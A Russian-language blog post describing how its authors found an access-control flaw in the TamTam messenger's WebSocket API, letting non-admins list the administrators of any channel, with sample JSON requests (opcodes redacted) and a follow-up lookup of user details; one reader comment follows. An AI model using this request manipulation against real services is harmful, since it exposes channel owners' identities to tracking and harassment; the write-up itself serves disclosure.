Всем привет! На связи TeamKomet. Недавно мы решили из любопытства заняться реверс-инжинирингом не без известностного мессенджера TamTam. До нас дошли слухи о возможной уязвимости, позволяющей получить список создателей и администраторов любого канала.

⚙️ Начало раскопок: WebSocket и Opcode

Мы принялись за работу и в первую очередь сосредоточились на проверке Opcode'ов в WebSocket.

Первым делом нашли некий список с номерами от 10, 100, 123 — сервер тестово отвечал, но это тупик — с ним ничего не получилось.

Тогда мы сменили тактику: что, если попробовать добавить в запрос параметры, которых изначально нет?

Погрузившись в JavaScript, мы обнаружили интересный объект, который централизованно отправлял через opcode для обмена информацией. Мы начали методично изучать его методы, и не зря.

? Обход проверки на «админа»

В процессе «протыкивания» методов мы наткнулись на функцию поиска участников чата.

На первый взгляд, она была бесполезна, так как ожидаемо требовала привилегий администратора. Но это было ровно до того момента, пока мы не добавили в запрос параметр query.

Оказалось, что серверная логика некорректно обрабатывала запрос на поиск, если в нём одновременно присутствовали параметры type и query. Проверка на привилегии администратора просто-напросто не выполнялась.

Это позволило нам, не будучи админами, запросить список участников с type: "ADMIN" для любого chatId.

? Технические детали уязвимости

Вот как выглядел «тот самый» запрос, отправляемый через WebSocket:

Пример запроса (Opcode[REDACTED] ):

{

"ver": 10,

"cmd": 0,

"seq": 123,

"opcode": [REDACTED],

"payload": {

"chatId": "-1234567890",

"type": "ADMIN",

"query": "a",

"count": 100

}

}

Давайте разберём payload:

chatId — ID чата, в котором производится поиск (в данном случае, ID канала);

type — тип учётной записи при поиске. Мы выставляли "ADMIN";

query — строка поиска. Мы просто добавили "a", чтобы запрос прошёл;

count — максимальное количество пользователей в ответе.

В ответ на этот запрос сервер посылал JSON со списком участников, подпадающих под критерии — то есть, администраторов канала.

Пример ответа:

{

"ver": 10,

"cmd": 1,

"seq": 87,

"opcode": [REDACTED],

"payload": {

"members": [

{

"presence": {

"seen": 1678864000000,

"readMark": 1678864000000,

"contact": {

"baseUrl": "url avatar",

"names": [

{

"name": "User name",

"type": "TT"

}

]

},

"avatarUrl": "url avatar",

"fullAvatarUrl": "full avatar url",

"options": ["TT"]

},

"photoId": "id avatar",

"updateTime": 167886400,

"id": 123456789,

"baseRawUrl": "url avatar"

}

]

}

}

Получив ID администраторов, мы могли пойти дальше.

Используя Opcode [REDACTED], можно было получить по ID пользователя уже более детальную информацию о нём.

Пример запроса (Opcode [REDACTED]):

{

"ver": 11,

"cmd": 0,

"seq": 10,

"opcode": [REDACTED],

"payload": {

"contactIds": [123456789]

}

}

? Выводы

Таким образом, простая манипуляция с параметрами запроса к WebSocket позволила обойти проверку привилегий на стороне сервера и получить список администраторов любого канала в мессенджере.

> P.S. В «MAX» данная дыра отсутствует, но это не значит, что он является полностью безопасным.

Спасибо за внимание!

Комментарии (1)


  1. Shaman_RSHU
    07.11.2025 09:37

    P.S. В «MAX» данная дыра отсутствует, но это не значит, что он является полностью безопасным.

    Посмотрел, в "MAX" сейчас 13940 каналов, в 94% которых один участник - админ. Ну а кто админ какого-нибудь канала "Госуслуги" с большим количеством участников скорее всего мало кого интересует.